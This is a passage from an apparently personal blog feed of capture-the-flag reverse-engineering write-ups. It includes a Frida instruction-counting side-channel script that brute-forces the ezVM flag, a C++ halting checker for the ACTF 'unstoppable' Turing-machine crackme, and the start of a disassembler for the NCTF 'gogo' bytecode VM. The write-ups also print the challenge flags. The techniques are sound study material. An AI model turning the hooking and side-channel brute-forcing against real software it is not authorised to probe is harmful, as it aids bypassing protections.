        payload = message[&apos;payload&apos;]
        # print(f&quot;[*] Frida Message Payload: {payload}&quot;, type(payload)) # Optional: more detailed debug
        try:
            # Assume payload is the number we need for comparison
            new_number = int(payload)
        except (ValueError, TypeError) as e:
            print(f&quot;[!] Error parsing Frida payload: {payload} - {e}&quot;)
            # Decide how to handle parse errors, maybe reset new_number?
            new_number = -1 # Or some other indicator of failure
    elif message[&apos;type&apos;] == &apos;error&apos;:
        print(f&quot;[!] Frida Error: {message.get(&apos;description&apos;, &apos;No description&apos;)}&quot;)
        print(f&quot;    Stack: {message.get(&apos;stack&apos;, &apos;No stack trace&apos;)}&quot;)
        print(f&quot;    Details: File {message.get(&apos;fileName&apos;, &apos;N/A&apos;)}, Line {message.get(&apos;lineNumber&apos;, &apos;N/A&apos;)}, Col {message.get(&apos;columnNumber&apos;, &apos;N/A&apos;)}&quot;)
    else:
        print(f&quot;[*] Frida Message: {message}&quot;)

# --- Helper Function ---
def is_right():
    &quot;&quot;&quot;Compares the current attempt&apos;s score with the best known score.&quot;&quot;&quot;
    global new_number, number
    if new_number &gt; number:
        # print(f&quot;[*] New best score found: {new_number} &gt; {number}&quot;) # Optional debug
        number = new_number
        return True
    else:
        # print(f&quot;[*] Score {new_number} is not better than {number}&quot;) # Optional debug
        return False

# --- Main Execution Logic ---
def main():
    global number, new_number # Allow modification of globals

    # Check if hook script exists
    if not os.path.exists(HOOK_SCRIPT_FILE):
        print(f&quot;[!] Error: Hook script &apos;{HOOK_SCRIPT_FILE}&apos; not found.&quot;)
        sys.exit(1)

    # Load Frida JScode
    try:
        with open(HOOK_SCRIPT_FILE, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
            jscode = f.read()
    except Exception as e:
        print(f&quot;[!] Error reading hook script &apos;{HOOK_SCRIPT_FILE}&apos;: {e}&quot;)
        sys.exit(1)

    flag = FLAG_KNOWN_PREFIX
    print(f&quot;[*] Starting bruteforce for flag (expected length: {FLAG_TOTAL_LENGTH})&quot;)
    print(f&quot;[*] Initial known prefix: &apos;{flag}&apos;&quot;)

    # Bruteforce loop for characters from current length up to target content length
    # Example: if flag=&quot;flag{&quot;, len=5. Loop from 5 up to 43 (exclusive)
    # because the 44th char (index 43) is always &quot;}&quot;
    for index in range(len(flag), FLAG_TOTAL_LENGTH - 1):
        found_char_for_index = False
        print(f&quot;\n[*] Trying index: {index}&quot;)

        # Iterate through possible characters for the current position
        for char_to_try in PRINTABLE_CHARS:
            # Reset new_number for each attempt
            new_number = 0

            # Construct the test flag: current_flag + guess + padding + &quot;}&quot;
            tmp_flag = (flag + char_to_try).ljust(FLAG_CONTENT_PAD_LENGTH, PADDING_CHAR) + &quot;}&quot;
            print(f&quot;    Trying char: &apos;{char_to_try}&apos; -&gt; Input: \&quot;{tmp_flag}\&quot;&quot;)

            process = None
            session = None
            try:
                # Start the target process for each guess
                process = subprocess.Popen(
                    [TARGET_EXE], # Pass exe name as a list for robustness
                    stdin=subprocess.PIPE,
                    stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE,
                    universal_newlines=True # Use text mode for stdin/stdout/stderr
                )

                # Attach Frida to the newly started process
                # Add a small delay or retry logic if attachment fails immediately
                try:
                    session = frida.attach(process.pid)
                except frida.ProcessNotFoundError:
                    print(f&quot;[!] Error: Could not find process {process.pid} immediately. Maybe it exited too quickly?&quot;)
                    # Clean up the zombie process if Popen succeeded but attach failed
                    if process and process.poll() is None:
                         process.terminate()
                         process.wait() # Ensure termination
                    continue # Skip to the next character
                except Exception as e:
                    print(f&quot;[!] Error attaching Frida to PID {process.pid}: {e}&quot;)
                    if process and process.poll() is None:
                         process.terminate()
                         process.wait()
                    continue # Skip to the next character

                # Create and load the Frida script
                script = session.create_script(jscode)
                script.on(&apos;message&apos;, on_message)
                script.load()

                # Send the crafted input flag to the process
                # process.communicate handles writing, closing stdin, and waiting
                output, error = process.communicate(input=tmp_flag)

                # Script execution continues after communicate() finishes (process exits)

                # --- Decision Logic ---
                # Calibrate &apos;number&apos; using the &apos;`&apos; character score on the first attempt for this index
                if char_to_try == PRINTABLE_CHARS[0]: # Check if it&apos;s the calibration char (&apos;`&apos;)
                    print(f&quot;    Calibration with &apos;{char_to_try}&apos;: Setting base score to {new_number}&quot;)
                    number = new_number # Set the baseline score for this index

                # Check if the current character yielded a better score
                elif is_right():
                    flag += char_to_try
                    print(f&quot;\n[+] Correct character found: &apos;{char_to_try}&apos;&quot;)
                    print(f&quot;[+] Current Flag: {flag}\n&quot;)
                    found_char_for_index = True
                    # Detach Frida session cleanly (optional but good practice)
                    session.detach()
                    break # Move to the next index

                # Detach Frida session if it was successfully attached
                session.detach()

            except frida.InvalidOperationError as e:
                print(f&quot;[!] Frida Error (e.g., process terminated before detach): {e}&quot;)
            except Exception as e:
                print(f&quot;[!] An unexpected error occurred: {e}&quot;)
                # Ensure process is terminated if it&apos;s still running
                if process and process.poll() is None:
                    try:
                        process.terminate()
                        process.wait(timeout=1) # Wait briefly
                    except subprocess.TimeoutExpired:
                        process.kill() # Force kill if terminate fails
                    except Exception as term_err:
                        print(f&quot;[!] Error during process cleanup: {term_err}&quot;)
                # Ensure session is detached if it exists
                if session:
                    try:
                        session.detach()
                    except Exception as detach_err:
                        print(f&quot;[!] Error during session detach cleanup: {detach_err}&quot;)

            finally:
                 # Ensure the process is terminated, even if errors occurred
                 # Note: communicate() already waits for termination.
                 # terminate() here is mostly a safeguard.
                if process and process.poll() is None: # Check if still running
                    # print(f&quot;    Terminating process {process.pid}...&quot;) # Optional debug
                    process.terminate()
                    try:
                        process.wait(timeout=1) # Wait briefly for termination
                    except subprocess.TimeoutExpired:
                        print(f&quot;    Process {process.pid} did not terminate gracefully, killing.&quot;)
                        process.kill() # Force kill if necessary
                # else:
                    # print(f&quot;    Process {process.pid} already terminated.&quot;) # Optional debug

        # If no character was found for the current index after trying all possibilities
        if not found_char_for_index:
            print(f&quot;\n[!] Could not find correct character for index {index}.&quot;)
            print(f&quot;[!] Exiting. Current flag guess: {flag}&quot;)
            sys.exit(1) # Exit if stuck

    # Final flag includes the closing brace (already added in tmp_flag construction)
    # We just need to ensure the loop completed successfully.
    final_flag = flag + &quot;}&quot; # Add the final brace if loop completed
    if len(final_flag) == FLAG_TOTAL_LENGTH:
        print(&quot;\n&quot; + &quot;=&quot;*20)
        print(f&quot;[+] Bruteforce Complete!&quot;)
        print(f&quot;[+] Final Flag: {final_flag}&quot;)
        print(&quot;=&quot;*20)
    else:
         print(&quot;\n[!] Bruteforce finished, but flag length is incorrect.&quot;)
         print(f&quot;[!] Result: {final_flag} (Length: {len(final_flag)}, Expected: {FLAG_TOTAL_LENGTH})&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// hook.js
var number = 0
function main()
{
    var base =  Module.findBaseAddress(&quot;ezVM.exe&quot;)
    //console.log(&quot;inject success!!!&quot;)
    //console.log(&quot;base:&quot;,base)
    if(base){
        Interceptor.attach(base.add(0x1044), {
                onEnter: function(args) {
                   //console.log(&quot;number&quot;,number)
                    number+=1
                }
            });

            Interceptor.attach(base.add(0x0113f), {
                onEnter: function(args) {
                    // console.log(&quot;end!&quot;,number)
                    send(number)
                }

            });
    }
}
setImmediate(main);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;709&quot; height=&quot;108&quot; src=&quot;https://sh10rl.top/_astro/output.C8IyUmoi_Q4nWm.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The last verification does not leak side-channel info, so brute-force the last character to retrieve the flag.&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;import subprocess

base_flag = &apos;flag{O1SC_VM_1s_h4rd_to_r3v3rs3_#a78abffaa }&apos;
executable = &quot;ezVm.exe&quot;

for i in range(32, 128):
    char = chr(i)
    test_flag = base_flag.replace(&quot; &quot;, char)

    process = subprocess.Popen(
        [executable],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )

    # Send inputs to receive outputs / errors; communicate will wait the process to complete
    output, error = process.communicate(input=test_flag)

    if &quot;Invalid&quot; not in output:
        print(f&quot;Found potential flag: {test_flag}&quot;)
        print(f&quot;Output: {output.strip()}&quot;)
        if error:
            print(f&quot;Stderr: {error.strip()}&quot;)
        break
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;631&quot; height=&quot;92&quot; src=&quot;https://sh10rl.top/_astro/output_2.CoIOxcjl_Z19eOIs.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;flag{O1SC_VM_1s_h4rd_to_r3v3rs3_#a78abffaa#}&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;callout&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout-title&quot;&gt;Note&lt;/p&gt;
&lt;p&gt;One Instruction Set Computer: One instruction, multi operations.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;minil-2025-rbf&quot;&gt;[miniL 2025] rbf&lt;/h2&gt;
&lt;p&gt;Reversing &lt;a href=&quot;https://en.wikipedia.org/wiki/Brainfuck&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Brainfuck&lt;/a&gt;, two method:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Symbolic execution&lt;/li&gt;
&lt;li&gt;Dump runtime memory and analyze&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;actf-2025-unstoppable&quot;&gt;[ACTF 2025] &lt;a href=&quot;https://github.com/team-s2/ACTF-2025/blob/main/reverse/unstoppable/solution.md&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;unstoppable&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This challenge implements a &lt;a href=&quot;https://en.wikipedia.org/wiki/Busy_beaver&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;busy beaver problem&lt;/a&gt;, aiming to find all stoppable Turing machines.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;In theoretical computer science, the busy beaver game aims to find &lt;strong&gt;a terminating program&lt;/strong&gt; of a given size that (depending on definition) either produces the &lt;strong&gt;most output&lt;/strong&gt; possible, or runs for the &lt;strong&gt;longest number of steps&lt;/strong&gt;. Since an endlessly looping program producing infinite output or running for infinite time is easily conceived, such programs are excluded from the game. Rather than traditional programming languages, the programs used in the game are &lt;strong&gt;n-state &lt;a href=&quot;https://en.wikipedia.org/wiki/Turing_machine&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Turing machines&lt;/a&gt;&lt;/strong&gt;, one of the first mathematical models of computation.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The program takes &lt;code&gt;2703&lt;/code&gt; integers as input. We must find all (&lt;code&gt;2703&lt;/code&gt;) stoppable VMs.&lt;/p&gt;
&lt;p&gt;Thus, it’s a crackme challenge that requires the user to input the correct sequence of numbers to retrieve the flag.&lt;/p&gt;
&lt;p&gt;Key takeaways of &lt;code&gt;main()&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;  while ( check_if_deref_not_equal(&amp;#x26;VM.VM_number, &amp;#x26;VM.max_VM) )
  {
    VM.VM_number_0 = take_offset_32_ret_ptr(&amp;#x26;VM.VM_number);
    write_data_func(&amp;#x26;VM, &amp;#x26;bunch_of_bytes + 30 * *VM.VM_number_0);
    execution_count = VM_exec_loop(&amp;#x26;VM);// The correct VM will be stoppable
    x = seed;
    base = offset_8x_plus_deref(base_addr, *VM.VM_number_0);// base_addr + offset * 8
    y = do_some_math(&amp;#x26;unk_3DBC9, *base, execution_count);// _, base, exp
    seed = multi_mod(&amp;#x26;unk_3DBC8, x, y);
    delete_VM(&amp;#x26;VM);
    apply_Rb_tree_increment(&amp;#x26;VM.VM_number);
  }
  check(&quot;Congratulations!&quot;, 0x18uLL, seed, output);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Reverse engineering &lt;code&gt;VM_exec_loop()&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;uint64_t __fastcall VM_exec_loop(VMContext *VM_1)
{
  do
  {
    ++VM-&gt;instr_counter;
    if ( *add_two_args(&amp;#x26;VM-&gt;tape_base_ptr, VM-&gt;read_write_head) != 0 )
    {
      ptr_1 = cal_op_offset(VM, LOBYTE(VM-&gt;IP)) + 3;// ptr_1 = code_base + 6*IP +3
      ptr_final = ptr_1;
    }
    else
    {
      ptr_2 = cal_op_offset(VM, LOBYTE(VM-&gt;IP));// ptr_2 = code_base + 6*IP
      ptr_final = ptr_2;
    }
    LO_WORD = *ptr_final;
    HI_BYTE = *(ptr_final + 2);
    LO_CHAR_1 = LO_WORD;
    *add_two_args(&amp;#x26;VM-&gt;tape_base_ptr, VM-&gt;read_write_head) = LO_CHAR_1;// Write to tape
    if ( HIBYTE(LO_WORD) )                      // Determine which direction to move
    {
      offset = VM-&gt;read_write_head;
      if ( offset == get_data_buffer_size(&amp;#x26;VM-&gt;tape_base_ptr) - 1 )
      {
        num = 0;
        expand_data(&amp;#x26;VM-&gt;tape_base_ptr, &amp;#x26;num);
      }
      ++VM-&gt;read_write_head;
    }
    else
    {
      if ( VM-&gt;read_write_head == 0 )
      {
        p_tape_base_ptr = &amp;#x26;VM-&gt;tape_base_ptr;
        data_base_ptr = direct_ret(&amp;#x26;VM-&gt;tape_base_ptr);
        direct_assign(&amp;#x26;data_base_ptr_1, &amp;#x26;data_base_ptr);
        num_1 = 0;
        alloc_and_insert_bytecode(p_tape_base_ptr, data_base_ptr_1, &amp;#x26;num_1);
        ++VM-&gt;read_write_head;
      }
      --VM-&gt;read_write_head;
    }
    LOBYTE(VM-&gt;IP) = HI_BYTE;
  }
  while ( LOBYTE(VM-&gt;IP) != 0x19 );             // halt condition
  return VM-&gt;instr_counter;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Brief analysis of the logic:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1652&quot; height=&quot;1244&quot; src=&quot;https://sh10rl.top/_astro/vm_logic.BoZ8XK_y_13Nzmh.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;After reversing the &lt;code&gt;VM_exec_loop()&lt;/code&gt;, we can dump the bytecode (&lt;code&gt;bunch_of_bytes&lt;/code&gt;) and write a script to brute-force all 5005 numbers of Turing machines, identifying stoppable machines (where &lt;code&gt;execution_count &amp;#x3C;= 47176870&lt;/code&gt;)&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;// brute-force.cpp
#include &amp;#x3C;cstdio&gt;
#include &amp;#x3C;vector&gt;
#include &amp;#x3C;cstdint&gt;
#include &amp;#x3C;omp.h&gt;
#include &quot;op.hpp&quot; // VMs dumped -&gt; uint8_t program[5005][30]

#define DEBUG
#undef DEBUG

#ifdef DEBUG
#include &amp;#x3C;cassert&gt;
#endif

using namespace std;

int main()
{
    int ALLN = 5005;
    setvbuf(stdout, nullptr, _IONBF, 0);
#pragma omp parallel for schedule(static)
    for (int i = 0; i &amp;#x3C; ALLN; i++)
    {
        vector&amp;#x3C;uint8_t&gt; tape(1024, 0);
        uint64_t read_write_header = 511;
        uint64_t now_count = 0;
        uint8_t IP = 0;

        while (now_count &amp;#x3C; 47176870)
        {
            now_count++;
            /*

            Different from the official writeup, but baed on my analysis, only this method can output exact 2703 stoppable VMs

            $ wc -w stoppable_VMs_official.txt
            3140 stoppable_VMs.txt

            $ wc -w stoppable_VMs_new.txt
            2703 stoppable_VMs_new.txt

            */
            uint8_t *operation = program[i] + 6 * IP  + 3 * (tape[read_write_header] != 0 ? 1 : 0);

            #ifdef DEBUG
            assert(6 * IP  + 3 * (tape[read_write_header] != 0 ? 1 : 0) &amp;#x3C; 30);
            #endif

            tape[read_write_header] = operation[0];
            if (operation[1])
            {
                read_write_header++;
                if (read_write_header == tape.size())
                {
                    tape.insert(tape.end(), tape.size(), 0);
                }
            }
            else
            {
                if (read_write_header == 0)
                {
                    read_write_header += tape.size();
                    tape.insert(tape.begin(), tape.size(), 0);
                }
                read_write_header--;
            }
            IP = operation[2];
            #ifdef DEBUG
            assert(IP &amp;#x3C; 5);
            #endif

            if (IP == 0x19)
            {
                printf(&quot;%d &quot;, i);
                break;
            }
        }
    }
    return 0;
}

// Usage: g++ brute-force.cpp -o brute-force.exe -fopenmp&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Finally, sort all VM numbers in ascending order to ensure the correct output:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;with open(&apos;stoppable_VMs_new.txt&apos;, &apos;r&apos;) as file:
    numbers = []
    for line in file:
        # Split each line into individual numbers and convert to integers
        numbers.extend(int(num) for num in line.strip().split())
    # print(len(numbers))

numbers.sort() # ascending order

# Write the sorted numbers back to the file (one per line)
with open(&apos;stoppable_VMs_new.txt&apos;, &apos;w&apos;) as file:
    for number in numbers:
        file.write(f&quot;{number} &quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ cat stoppable_VMs_new.txt | ./unstoppable
ACTF{21568fc0e443ad5e5f80c51f83323250}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded><category>CTF</category></item><item><title>NCTF 2025</title><link>https://sh10rl.top/posts/nctf-2025-wp/</link><guid isPermaLink="true">https://sh10rl.top/posts/nctf-2025-wp/</guid><description>NCTF 2025 writeup</description><pubDate>Fri, 04 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;div class=&quot;callout&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout-title&quot;&gt;Note&lt;/p&gt;
&lt;p&gt;For official writeup, &lt;a href=&quot;https://github.com/X1cT34m/NCTF2024/tree/main&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;gogo&quot;&gt;gogo&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Input 40 bytes and create two coroutine (coroutVM), processing 20Bytes respectively&lt;/p&gt;
&lt;p&gt;What we need: hash table &amp;#x26; bytecodes&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;struct main_coroutVM // sizeof=0x158
{
    _16_uint32 reg;
    _256_uint8 mem;
    _chan_left_chan__4_uint8 instr;
    chan_bool checkres;
    map_uint8_main_handler instrSet;
};&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;method-1---static-analysis&quot;&gt;Method 1 - Static Analysis&lt;/h3&gt;
&lt;p&gt;Find bytecode and hash table, then write a script to disassemble&lt;/p&gt;
&lt;h4 id=&quot;bytecode&quot;&gt;Bytecode&lt;/h4&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1104&quot; height=&quot;387&quot; src=&quot;https://sh10rl.top/_astro/O2mSbGxWtoBXygx3Va4czEU6nNf.BTq0F5uX_26FJbs.webp&quot;&gt;&lt;/figure&gt;
&lt;h4 id=&quot;extract-hash-table&quot;&gt;Extract hash table&lt;/h4&gt;
&lt;p&gt;Each pair is set by:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;runtime_mapassign(..., key_x[i], ...)&lt;/code&gt; + &lt;code&gt;if(isGC)...&lt;/code&gt; +  &lt;code&gt;*variable = &amp;#x26;handler[j];&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Extract the hash table&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;{
    0x11: &quot;main_LDR&quot;,
    0x12: &quot;main_LDRI&quot;,
    0x15: &quot;main_STR&quot;,
    0x16: &quot;main_STRI&quot;,
    0x2A: &quot;main_MOV&quot;,
    0x41: &quot;main_ADD&quot;,
    0x42: &quot;main_SUB&quot;,
    0x47: &quot;main_MUL&quot;,
    0x71: &quot;main_LSL&quot;,
    0x73: &quot;main_LSR&quot;,
    0x7A: &quot;main_XOR&quot;,
    0x7B: &quot;main_AND&quot;,
    0xFE: &quot;main_RET&quot;,
    0xFF: &quot;main_HLT&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;{
    0x13: main_LDR,
    0x14: main_LDRI,
    0x17: main_STR,
    0x18: main_STRI,
    0x2B: main_MOV,
    0x91: main_ADD,
    0x92: main_SUB,
    0x97: main_MUL,
    0xC1: main_LSL,
    0xC3: main_LSR,
    0xCA: main_XOR,
    0xCB: main_AND,
    0xFE: main_RET,
    0xFF: main_HLT
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&quot;disassembly&quot;&gt;Disassembly&lt;/h4&gt;
&lt;p&gt;Based on the handler function for each opcode, we know:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Both VM emulate ARM32 instruction set&lt;/li&gt;
&lt;li&gt;Both use the same set of handler functions&lt;/li&gt;
&lt;li&gt;The bytecodes of two VM are mixed together, only the opcodes that match the respective VM will be executed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Info on hand:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hash tables for different VM&lt;/li&gt;
&lt;li&gt;Instruction structure: &lt;code&gt;Opcode&lt;/code&gt; + &lt;code&gt;Oprand * 3&lt;/code&gt;, total 4Bytes&lt;/li&gt;
&lt;li&gt;Dumped bytecode (&lt;code&gt;DumpedByteCodes.bin&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;table&quot;&gt;














































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Instruction&lt;/th&gt;&lt;th&gt;Operands&lt;/th&gt;&lt;th&gt;Operand 1 (Byte &lt;code&gt;a10&lt;/code&gt;)&lt;/th&gt;&lt;th&gt;Operand 2 (Byte &lt;code&gt;a11&lt;/code&gt;)&lt;/th&gt;&lt;th&gt;Operand 3 (Byte &lt;code&gt;a12&lt;/code&gt;)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;ADD/SUB/MUL/XOR/AND&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Rn (reg index)&lt;/td&gt;&lt;td&gt;Rm (reg index)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LSL/LSR&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Rn (value reg)&lt;/td&gt;&lt;td&gt;Rm (shift amt reg)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MOV&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Immediate val (WORD little endian)&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;STRI/LDRI&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Must be &lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Immediate val (addr)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LDR/STR&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Rn (addr)&lt;/td&gt;&lt;td&gt;Must be &lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Based on the hash table &amp;#x26; instruction set, write a script to read file &lt;code&gt;DumpedByteCodes.bin&lt;/code&gt; and disassemble bytecode for two VM respectively, outputting to two &lt;code&gt;.asm&lt;/code&gt; files.&lt;/p&gt;
&lt;div class=&quot;callout&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout-title&quot;&gt;Note&lt;/p&gt;
&lt;p&gt;&lt;code&gt;movzx   edx, [rsp+10h+oprand_3]&lt;/code&gt; in &lt;code&gt;STRI&lt;/code&gt;. Zero-extend this byte into the 32-bit edx register. The upper 24 bits of edx are set to 0.&lt;/p&gt;
&lt;p&gt;Note that this &lt;strong&gt;implicitly zeros the upper 32 bits of rdx as well&lt;/strong&gt; in x86-64). Let’s call the byte value &lt;code&gt;val3&lt;/code&gt;. &lt;code&gt;rdx&lt;/code&gt; becomes &lt;code&gt;0x00000000000000XX&lt;/code&gt; where &lt;code&gt;XX&lt;/code&gt; is &lt;code&gt;val3&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Disassembly script:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;import struct
import os

# --- Configuration ---

# Define Opcode Mappings (Using simplified mnemonics for clarity)
VM1_OPS = {
    0x11: &quot;LDR&quot;,   0x12: &quot;LDRI&quot;,  0x15: &quot;STR&quot;,   0x16: &quot;STRI&quot;,
    0x2A: &quot;MOV&quot;,   0x41: &quot;ADD&quot;,   0x42: &quot;SUB&quot;,   0x47: &quot;MUL&quot;,
    0x71: &quot;LSL&quot;,   0x73: &quot;LSR&quot;,   0x7A: &quot;XOR&quot;,   0x7B: &quot;AND&quot;,
    0xFE: &quot;RET&quot;,   0xFF: &quot;HLT&quot;
}

VM2_OPS = {
    0x13: &quot;LDR&quot;,   0x14: &quot;LDRI&quot;,  0x17: &quot;STR&quot;,   0x18: &quot;STRI&quot;,
    0x2B: &quot;MOV&quot;,   0x91: &quot;ADD&quot;,   0x92: &quot;SUB&quot;,   0x97: &quot;MUL&quot;,
    0xC1: &quot;LSL&quot;,   0xC3: &quot;LSR&quot;,   0xCA: &quot;XOR&quot;,   0xCB: &quot;AND&quot;,
    0xFE: &quot;RET&quot;,   0xFF: &quot;HLT&quot;
}

INPUT_FILE = &quot;DumpedByteCodes.bin&quot;
OUTPUT_VM1_FILE = &quot;vm1_disassembly.asm&quot;
OUTPUT_VM2_FILE = &quot;vm2_disassembly.asm&quot;

INSTRUCTION_SIZE = 4 # bytes

# --- Operand Parsing Logic ---

def parse_operands(mnemonic, b1, b2, b3):
    &quot;&quot;&quot;
    Parses operand bytes based on the instruction mnemonic.
    Returns a formatted string representation of the operands.
    &quot;&quot;&quot;
    try:
        if mnemonic in [&quot;ADD&quot;, &quot;SUB&quot;, &quot;MUL&quot;, &quot;XOR&quot;, &quot;AND&quot;, &quot;LSL&quot;, &quot;LSR&quot;]:
            return f&quot;R{b1}, R{b2}, R{b3}&quot;
        elif mnemonic == &quot;MOV&quot;:
            imm = (b3 &amp;#x3C;&amp;#x3C; 8) | b2
            return f&quot;R{b1}, #{imm:#06x}&quot;
        elif mnemonic in [&quot;LDRI&quot;, &quot;STRI&quot;]:
            if b2 != 0x00:
                print(f&quot;Warning: Expected 0x00 for operand 2 in {mnemonic} (Opcode byte 2), got {b2:#04x}&quot;)
            return f&quot;R{b1}, [#{b3:#04x}]&quot;
        elif mnemonic in [&quot;LDR&quot;, &quot;STR&quot;]:
            if b3 != 0x00:
                 print(f&quot;Warning: Expected 0x00 for operand 3 in {mnemonic} (Opcode byte 3), got {b3:#04x}&quot;)
            return f&quot;R{b1}, [R{b2}]&quot;
        elif mnemonic in [&quot;RET&quot;, &quot;HLT&quot;]:
            return &quot;&quot;
        else:
            print(f&quot;Warning: Unknown mnemonic &apos;{mnemonic}&apos; during operand parsing.&quot;)
            return f&quot;?? DB 0x{b1:02X}, 0x{b2:02X}, 0x{b3:02X}&quot;
    except Exception as e:
        print(f&quot;Error parsing operands for {mnemonic} with bytes {b1}, {b2}, {b3}: {e}&quot;)
        return f&quot;!! PARSE ERROR !!&quot;

# --- Main Disassembly Function ---

def disassemble():
    &quot;&quot;&quot;
    Reads the bytecode file and performs disassembly for both VMs,
    including the raw bytes in the output.
    &quot;&quot;&quot;
    if not os.path.exists(INPUT_FILE):
        print(f&quot;Error: Input file &apos;{INPUT_FILE}&apos; not found.&quot;)
        return

    processed_instructions = 0
    unknown_opcodes = 0

    try:
        with open(INPUT_FILE, &apos;rb&apos;) as f_in, \\
             open(OUTPUT_VM1_FILE, &apos;w&apos;) as f_out1, \\
             open(OUTPUT_VM2_FILE, &apos;w&apos;) as f_out2:

            print(f&quot;Starting disassembly of &apos;{INPUT_FILE}&apos;...&quot;)
            # Add header explaining the format
            header_format = &quot;; Format: Offset   Bytes        Instruction\\n&quot;
            f_out1.write(f&quot;; --- VM1 Disassembly from {INPUT_FILE} ---\\n&quot;)
            f_out1.write(header_format)
            f_out2.write(f&quot;; --- VM2 Disassembly from {INPUT_FILE} ---\\n&quot;)
            f_out2.write(header_format)

            offset = 0
            while True:
                chunk = f_in.read(INSTRUCTION_SIZE)
                if not chunk:
                    break

                if len(chunk) &amp;#x3C; INSTRUCTION_SIZE:
                    print(f&quot;Warning: Trailing {len(chunk)} byte(s) at offset 0x{offset:08X}, ignored.&quot;)
                    break

                try:
